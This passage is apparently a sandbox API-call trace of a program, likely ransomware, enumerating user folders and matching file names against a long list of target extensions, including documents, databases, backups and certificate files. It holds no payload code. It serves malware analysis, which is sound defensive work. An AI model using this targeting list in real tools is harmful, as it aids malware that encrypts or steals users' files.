[0239.810] lstrlenW (lpString=".gif") returned 4 [0239.810] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".grs") returned 4 [0239.810] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".gz") returned 3 [0239.810] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0239.810] lstrlenW (lpString=".h") returned 2 [0239.810] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0239.810] lstrlenW (lpString=".hdr") returned 4 [0239.810] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".hpp") returned 4 [0239.810] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".hta") returned 4 [0239.810] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".htc") returned 4 [0239.810] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".htm") returned 4 [0239.810] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".html") returned 5 [0239.810] lstrcmpiW (lpString1=".html", lpString2="0.WMF") returned -1 [0239.810] lstrlenW (lpString=".icb") returned 4 [0239.810] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".ics") returned 4 [0239.810] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".iff") returned 4 [0239.810] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".inc") returned 4 [0239.810] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".indd") returned 5 [0239.811] lstrcmpiW (lpString1=".indd", lpString2="0.WMF") returned -1 [0239.811] lstrlenW (lpString=".ini") returned 4 [0239.811] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".iqy") returned 4 [0239.811] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".j2c") returned 4 [0239.811] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".j2k") returned 4 [0239.811] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".java") returned 5 [0239.811] lstrcmpiW (lpString1=".java", lpString2="0.WMF") returned -1 [0239.811] lstrlenW (lpString=".jp2") returned 4 [0239.811] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".jpc") returned 4 [0239.811] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".jpe") returned 4 [0239.811] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".jpeg") returned 5 [0239.811] lstrcmpiW (lpString1=".jpeg", lpString2="0.WMF") returned -1 [0239.811] lstrlenW (lpString=".jpf") returned 4 [0239.811] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".jpg") returned 4 [0239.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".jpx") returned 4 [0239.811] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".js") returned 3 [0239.811] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0239.811] lstrlenW (lpString=".jsf") returned 4 [0239.811] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".json") returned 5 [0239.811] lstrcmpiW (lpString1=".json", lpString2="0.WMF") returned -1 [0239.811] lstrlenW (lpString=".jsp") returned 4 [0239.811] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".kdc") returned 4 [0239.811] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0239.811] lstrlenW (lpString=".kmz") returned 4 [0239.811] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".kwm") returned 4 [0239.812] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".lasso") returned 6 [0239.812] lstrcmpiW (lpString1=".lasso", lpString2="10.WMF") returned -1 [0239.812] lstrlenW (lpString=".lbi") returned 4 [0239.812] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".lgf") returned 4 [0239.812] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".lgp") returned 4 [0239.812] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".log") returned 4 [0239.812] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".m1v") returned 4 [0239.812] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".m4a") returned 4 [0239.812] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".m4v") returned 4 [0239.812] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".max") returned 4 [0239.812] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".md") returned 3 [0239.812] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0239.812] lstrlenW (lpString=".mda") returned 4 [0239.812] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mdb") returned 4 [0239.812] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mde") returned 4 [0239.812] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mdf") returned 4 [0239.812] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mdw") returned 4 [0239.812] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mef") returned 4 [0239.812] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mft") returned 4 [0239.812] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".mfw") returned 4 [0239.812] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mht") returned 4 [0239.813] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mhtml") returned 6 [0239.813] lstrcmpiW (lpString1=".mhtml", lpString2="10.WMF") returned -1 [0239.813] lstrlenW (lpString=".mka") returned 4 [0239.813] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mkidx") returned 6 [0239.813] lstrcmpiW (lpString1=".mkidx", lpString2="10.WMF") returned -1 [0239.813] lstrlenW (lpString=".mkv") returned 4 [0239.813] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mos") returned 4 [0239.813] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mov") returned 4 [0239.813] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mp3") returned 4 [0239.813] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mp4") returned 4 [0239.813] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mpeg") returned 5 [0239.813] lstrcmpiW (lpString1=".mpeg", lpString2="0.WMF") returned -1 [0239.813] lstrlenW (lpString=".mpg") returned 4 [0239.813] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mpv") returned 4 [0239.813] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mrw") returned 4 [0239.813] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".msg") returned 4 [0239.813] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".mxl") returned 4 [0239.813] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".myd") returned 4 [0239.813] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".myi") returned 4 [0239.813] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".nef") returned 4 [0239.813] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".nrw") returned 4 [0239.813] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".obj") returned 4 [0239.814] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".odb") returned 4 [0239.814] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".odc") returned 4 [0239.814] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".odm") returned 4 [0239.814] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".odp") returned 4 [0239.814] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".ods") returned 4 [0239.814] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".oft") returned 4 [0239.814] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".one") returned 4 [0239.814] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".onepkg") returned 7 [0239.814] lstrcmpiW (lpString1=".onepkg", lpString2="710.WMF") returned -1 [0239.814] lstrlenW (lpString=".onetoc2") returned 8 [0239.814] lstrcmpiW (lpString1=".onetoc2", lpString2="5710.WMF") returned -1 [0239.814] lstrlenW (lpString=".opt") returned 4 [0239.814] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".oqy") returned 4 [0239.814] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".orf") returned 4 [0239.814] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".p12") returned 4 [0239.814] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".p7b") returned 4 [0239.814] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".p7c") returned 4 [0239.814] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".pam") returned 4 [0239.814] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".pbm") returned 4 [0239.814] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".pct") returned 4 [0239.814] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString=".pcx") returned 4 [0239.815] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pdd") returned 4 [0239.815] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pdf") returned 4 [0239.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pdp") returned 4 [0239.815] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pef") returned 4 [0239.815] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pem") returned 4 [0239.815] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pff") returned 4 [0239.815] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pfm") returned 4 [0239.815] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pfx") returned 4 [0239.815] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pgm") returned 4 [0239.815] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".php") returned 4 [0239.815] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".php3") returned 5 [0239.815] lstrcmpiW (lpString1=".php3", lpString2="0.WMF") returned -1 [0239.815] lstrlenW (lpString=".php4") returned 5 [0239.815] lstrcmpiW (lpString1=".php4", lpString2="0.WMF") returned -1 [0239.815] lstrlenW (lpString=".php5") returned 5 [0239.815] lstrcmpiW (lpString1=".php5", lpString2="0.WMF") returned -1 [0239.815] lstrlenW (lpString=".phtml") returned 6 [0239.815] lstrcmpiW (lpString1=".phtml", lpString2="10.WMF") returned -1 [0239.815] lstrlenW (lpString=".pict") returned 5 [0239.815] lstrcmpiW (lpString1=".pict", lpString2="0.WMF") returned -1 [0239.815] lstrlenW (lpString=".pl") returned 3 [0239.815] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0239.815] lstrlenW (lpString=".pls") returned 4 [0239.815] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0239.815] lstrlenW (lpString=".pm") returned 3 [0239.815] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0239.815] lstrlenW (lpString=".png") returned 4 [0239.816] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pnm") returned 4 [0239.816] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pot") returned 4 [0239.816] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".potm") returned 5 [0239.816] lstrcmpiW (lpString1=".potm", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".potx") returned 5 [0239.816] lstrcmpiW (lpString1=".potx", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".ppa") returned 4 [0239.816] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".ppam") returned 5 [0239.816] lstrcmpiW (lpString1=".ppam", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".ppm") returned 4 [0239.816] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pps") returned 4 [0239.816] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".ppsm") returned 5 [0239.816] lstrcmpiW (lpString1=".ppsm", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".ppt") returned 4 [0239.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pptm") returned 5 [0239.816] lstrcmpiW (lpString1=".pptm", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".pptx") returned 5 [0239.816] lstrcmpiW (lpString1=".pptx", lpString2="0.WMF") returned -1 [0239.816] lstrlenW (lpString=".prn") returned 4 [0239.816] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".ps") returned 3 [0239.816] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0239.816] lstrlenW (lpString=".psb") returned 4 [0239.816] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".psd") returned 4 [0239.816] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pst") returned 4 [0239.816] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".ptx") returned 4 [0239.816] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0239.816] lstrlenW (lpString=".pub") returned 4 [0239.817] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".pwm") returned 4 [0239.817] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".pxr") returned 4 [0239.817] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".py") returned 3 [0239.817] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0239.817] lstrlenW (lpString=".qt") returned 3 [0239.817] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0239.817] lstrlenW (lpString=".r3d") returned 4 [0239.817] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".raf") returned 4 [0239.817] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".rar") returned 4 [0239.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.817] lstrlenW (lpString=".raw") returned 4 [0239.817] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0260.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42c7390 | out: hHeap=0x530000) returned 1 [0260.827] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0260.827] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\Default\\Favorites\\Windows Live") returned 1 [0260.827] lstrcmpiW (lpString1="C:\\Windows", lpString2="Windows Live") returned -1 [0260.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42c7390 [0260.828] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af19a0 [0261.049] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.049] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0261.049] lstrlenW (lpString="Get Windows Live.url") returned 20 [0261.049] lstrlenW (lpString=".1cd") returned 4 [0261.050] lstrcmpiW (lpString1=".1cd", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".3ds") returned 4 [0261.050] lstrcmpiW (lpString1=".3ds", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".3fr") returned 4 [0261.050] lstrcmpiW (lpString1=".3fr", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".3g2") returned 4 [0261.050] lstrcmpiW (lpString1=".3g2", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".3gp") returned 4 [0261.050] lstrcmpiW (lpString1=".3gp", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".7z") returned 3 [0261.050] lstrcmpiW (lpString1=".7z", lpString2="url") returned -1 [0261.050] lstrlenW (lpString=".accda") returned 6 [0261.050] lstrcmpiW (lpString1=".accda", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".accdb") returned 6 [0261.050] lstrcmpiW (lpString1=".accdb", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".accdc") returned 6 [0261.050] lstrcmpiW (lpString1=".accdc", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".accde") returned 6 [0261.050] lstrcmpiW (lpString1=".accde", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".accdt") returned 6 [0261.050] lstrcmpiW (lpString1=".accdt", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".accdw") returned 6 [0261.050] lstrcmpiW (lpString1=".accdw", lpString2="ve.url") returned -1 [0261.050] lstrlenW (lpString=".adb") returned 4 [0261.050] lstrcmpiW (lpString1=".adb", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".adp") returned 4 [0261.050] lstrcmpiW (lpString1=".adp", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".ai") returned 3 [0261.050] lstrcmpiW (lpString1=".ai", lpString2="url") returned -1 [0261.050] lstrlenW (lpString=".ai3") returned 4 [0261.050] lstrcmpiW (lpString1=".ai3", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".ai4") returned 4 [0261.050] lstrcmpiW (lpString1=".ai4", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".ai5") returned 4 [0261.050] lstrcmpiW (lpString1=".ai5", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".ai6") returned 4 [0261.050] lstrcmpiW (lpString1=".ai6", lpString2=".url") returned -1 [0261.050] lstrlenW (lpString=".ai7") returned 4 [0261.051] lstrcmpiW (lpString1=".ai7", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".ai8") returned 4 [0261.051] lstrcmpiW (lpString1=".ai8", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".anim") returned 5 [0261.051] lstrcmpiW (lpString1=".anim", lpString2="e.url") returned -1 [0261.051] lstrlenW (lpString=".arw") returned 4 [0261.051] lstrcmpiW (lpString1=".arw", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".as") returned 3 [0261.051] lstrcmpiW (lpString1=".as", lpString2="url") returned -1 [0261.051] lstrlenW (lpString=".asa") returned 4 [0261.051] lstrcmpiW (lpString1=".asa", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".asc") returned 4 [0261.051] lstrcmpiW (lpString1=".asc", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".ascx") returned 5 [0261.051] lstrcmpiW (lpString1=".ascx", lpString2="e.url") returned -1 [0261.051] lstrlenW (lpString=".asm") returned 4 [0261.051] lstrcmpiW (lpString1=".asm", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".asmx") returned 5 [0261.051] lstrcmpiW (lpString1=".asmx", lpString2="e.url") returned -1 [0261.051] lstrlenW (lpString=".asp") returned 4 [0261.051] lstrcmpiW (lpString1=".asp", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".aspx") returned 5 [0261.051] lstrcmpiW (lpString1=".aspx", lpString2="e.url") returned -1 [0261.051] lstrlenW (lpString=".asr") returned 4 [0261.051] lstrcmpiW (lpString1=".asr", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".asx") returned 4 [0261.051] lstrcmpiW (lpString1=".asx", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".avi") returned 4 [0261.051] lstrcmpiW (lpString1=".avi", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".avs") returned 4 [0261.051] lstrcmpiW (lpString1=".avs", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".backup") returned 7 [0261.051] lstrcmpiW (lpString1=".backup", lpString2="ive.url") returned -1 [0261.051] lstrlenW (lpString=".bak") returned 4 [0261.051] lstrcmpiW (lpString1=".bak", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".bay") returned 4 [0261.051] lstrcmpiW (lpString1=".bay", lpString2=".url") returned -1 [0261.051] lstrlenW (lpString=".bd") returned 3 [0261.052] lstrcmpiW (lpString1=".bd", lpString2="url") returned -1 [0261.052] lstrlenW (lpString=".bin") returned 4 [0261.052] lstrcmpiW (lpString1=".bin", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".bmp") returned 4 [0261.052] lstrcmpiW (lpString1=".bmp", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".bz2") returned 4 [0261.052] lstrcmpiW (lpString1=".bz2", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".c") returned 2 [0261.052] lstrcmpiW (lpString1=".c", lpString2="rl") returned -1 [0261.052] lstrlenW (lpString=".cdr") returned 4 [0261.052] lstrcmpiW (lpString1=".cdr", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cer") returned 4 [0261.052] lstrcmpiW (lpString1=".cer", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cf") returned 3 [0261.052] lstrcmpiW (lpString1=".cf", lpString2="url") returned -1 [0261.052] lstrlenW (lpString=".cfc") returned 4 [0261.052] lstrcmpiW (lpString1=".cfc", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cfm") returned 4 [0261.052] lstrcmpiW (lpString1=".cfm", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cfml") returned 5 [0261.052] lstrcmpiW (lpString1=".cfml", lpString2="e.url") returned -1 [0261.052] lstrlenW (lpString=".cfu") returned 4 [0261.052] lstrcmpiW (lpString1=".cfu", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".chm") returned 4 [0261.052] lstrcmpiW (lpString1=".chm", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cin") returned 4 [0261.052] lstrcmpiW (lpString1=".cin", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".class") returned 6 [0261.052] lstrcmpiW (lpString1=".class", lpString2="ve.url") returned -1 [0261.052] lstrlenW (lpString=".clx") returned 4 [0261.052] lstrcmpiW (lpString1=".clx", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".config") returned 7 [0261.052] lstrcmpiW (lpString1=".config", lpString2="ive.url") returned -1 [0261.052] lstrlenW (lpString=".cpp") returned 4 [0261.052] lstrcmpiW (lpString1=".cpp", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".cr2") returned 4 [0261.052] lstrcmpiW (lpString1=".cr2", lpString2=".url") returned -1 [0261.052] lstrlenW (lpString=".crt") returned 4 [0261.053] lstrcmpiW (lpString1=".crt", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".crw") returned 4 [0261.053] lstrcmpiW (lpString1=".crw", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".cs") returned 3 [0261.053] lstrcmpiW (lpString1=".cs", lpString2="url") returned -1 [0261.053] lstrlenW (lpString=".css") returned 4 [0261.053] lstrcmpiW (lpString1=".css", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".csv") returned 4 [0261.053] lstrcmpiW (lpString1=".csv", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".cub") returned 4 [0261.053] lstrcmpiW (lpString1=".cub", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dae") returned 4 [0261.053] lstrcmpiW (lpString1=".dae", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dat") returned 4 [0261.053] lstrcmpiW (lpString1=".dat", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".db") returned 3 [0261.053] lstrcmpiW (lpString1=".db", lpString2="url") returned -1 [0261.053] lstrlenW (lpString=".dbf") returned 4 [0261.053] lstrcmpiW (lpString1=".dbf", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dbx") returned 4 [0261.053] lstrcmpiW (lpString1=".dbx", lpString2=".url") returned -1 [0261.053] lstrlenW (lpString=".dc3") returned 4 [0261.053] lstrcmpiW (lpString1=".dc3", 